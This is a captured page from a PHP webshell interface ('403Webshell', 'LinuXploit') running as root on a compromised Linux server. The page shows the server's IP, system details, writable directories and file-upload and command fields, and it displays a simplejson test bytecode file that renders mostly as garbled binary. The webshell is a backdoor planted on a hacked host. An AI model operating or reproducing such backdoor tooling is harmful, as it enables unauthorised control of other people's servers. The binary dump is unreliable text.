403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/simplejson/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/simplejson/tests/__pycache__/test_speedups.cpython-312.pyc
�

"Ie0���ddlmZddlZddlZddlmZddlZddlmZmZmZddl	m
Z
mZmZd�Z
d�ZGd�d	�ZGd
�de�ZGd�d
e�Zy)�)�with_statementN)�TestCase)�encoder�decoder�scanner)�PY3�	long_type�bc�&�tjduS�N)r�c_make_encoder���@/usr/lib/python3/dist-packages/simplejson/tests/test_speedups.py�has_speedupsrs���!�!��-�-rc����fd�}|S)Nc���t�sEttd�rtjd��tj
j
d�y�|i|��S)N�SkipTestzC Extension not available)r�hasattr�unittestr�sys�stdout�write)�args�kwargs�funcs  �r�wrapperz)skip_if_speedups_missing.<locals>.wrappersJ����~��x��,��'�'�(C�D�D��
�
� � �!<�=���T�$�V�$�$rr)rrs` r�skip_if_speedups_missingrs���%��Nrc��eZdZd�ZeZy)�BadBoolc��ddzy�N�rr��selfs r�__bool__zBadBool.__bool__s	��	�!�rN)�__name__�
__module__�__qualname__r&�__nonzero__rrrr r s����Krr c�,�eZdZed��Zed��Zy)�
TestDecodec�N�|jttjd�y)Nr#)�assertRaises�AttributeErrorr�c_make_scannerr$s r�test_make_scannerzTestDecode.test_make_scanner$s�����.�'�*@�*@�!�Drc���d�}|jt|d�|jt|d�ts/|jt|d�|jt|d�yy)Nc�^�tjt���j|�y)N)�strict)r�JSONDecoderr �decode)�values r�testz+TestDecode.test_bad_bool_args.<locals>.test*s�����w�y�1�8�8��?rz""z{})r.�ZeroDivisionErrorr�r%r8s  r�test_bad_bool_argszTestDecode.test_bad_bool_args(s\��	@����+�T�4�8����+�T�4�8�����/��u�=����/��u�=�rN)r'r(r)rr1r;rrrr,r,#s*���E��E��>��>rr,c�b�eZdZed��Zed��Zed��Zed��Zer	ed��Z	yy)�
TestEncodec�R�|jttjddd�y)NuÍ}=NLùy×Rº‚ò'J} Êu)r.�	TypeErrorrr
r$s r�test_make_encoderzTestEncode.test_make_encoder3s'�������"�"��8��
	
rc�x�ddl}d�}tjdd�|ddddddidddddddd|jd�}|j	t
|dd	�|j	t
|dd
id	�d�}tjdd�|ddddddidddddddd|jd�}|j	t|dd	�y)
Nrc��yrr�rs r�bad_encoder1z5TestEncode.test_bad_str_encoder.<locals>.bad_encoder1Cs��rc��t|�Sr��str��objs r�<lambda>z1TestEncode.test_bad_str_encoder.<locals>.<lambda>F�
��#�c�(�rz: z, Fzutf-8�spam��*c��ddzyr"rrCs r�bad_encoder2z5TestEncode.test_bad_str_encoder.<locals>.bad_encoder2Ms	��
�a�Crc��t|�SrrFrHs rrJz1TestEncode.test_bad_str_encoder.<locals>.<lambda>PrKr)�decimalrr
�Decimalr.r?r9)r%rRrD�encrPs     r�test_bad_str_encoderzTestEncode.test_bad_str_encoder>s���	�	��$�$��*��d�D�$��u�e�R���u��d�G�U�E�7�?�?�E�	K��
	
���)�S�&�!�4����)�S�6�2�,��:�	��$�$��*��d�D�$��u�e�R���u��d�G�U�E�7�?�?�E�	K��
	
���+�S�&�!�<rc�2�d�}|jt|d�|jt|d�|jt|d�|jt|d�|jt|d�|jt|d�|jt|d�|jt|d	�|jt|d
�|jt|d�|jt|d�|jt|d
�y)Nc�`�tjdi|t�i��ji�y)Nr)r�JSONEncoderr �encode)�names rr8z+TestEncode.test_bad_bool_args.<locals>.testXs%�����4�4���"3�4�;�;�B�?r�skipkeys�ensure_ascii�check_circular�	allow_nan�	sort_keys�use_decimal�namedtuple_as_object�tuple_as_array�bigint_as_string�for_json�
ignore_nan�iterable_as_array)r.r9r:s  rr;zTestEncode.test_bad_bool_argsVs���	@����+�T�:�>����+�T�>�B����+�T�3C�D����+�T�;�?����+�T�;�?����+�T�=�A����+�T�3I�J����+�T�3C�D����+�T�3E�F����+�T�:�>����+�T�<�@����+�T�3F�Grc�j��td�dzdz��fd�}|jttf|�y)N�� �c�P��tj���jd�y)N)�int_as_string_bitcountr)rrXrY)�
long_counts�rr8z=TestEncode.test_int_as_string_bitcount_overflow.<locals>.testjs������z�B�I�I�!�Lr)r	r.r?�
OverflowError)r%r8rms  @r�$test_int_as_string_bitcount_overflowz/TestEncode.test_int_as_string_bitcount_overflowgs1����q�\�2�%�b�(�
�	M����9�m�4�d�;rc��|jt�5tjd��j	td�di�ddd�y#1swYyxYw)Nu�)�encoding�key�{)r.�UnicodeEncodeErrorrrXrYr
r$s r�test_bad_encodingzTestEncode.test_bad_encodingosK���"�"�#5�6�
O��#�#�X�6�=�=�q��x��o�N�
O�
O�
O�s�1A�AN)
r'r(r)rr@rUr;rorrurrrr=r=2sp���
��
��=��=�.�H��H� �<��<��	!�	O�
"�	O�rr=)�
__future__rrrr�
simplejsonrrr�simplejson.compatrr	r
rrr r,r=rrr�<module>rysP��%�
����0�0�/�/�.�
���
>��
>�@O��@Or

Youez - 2016 - github.com/yon3zu
LinuXploit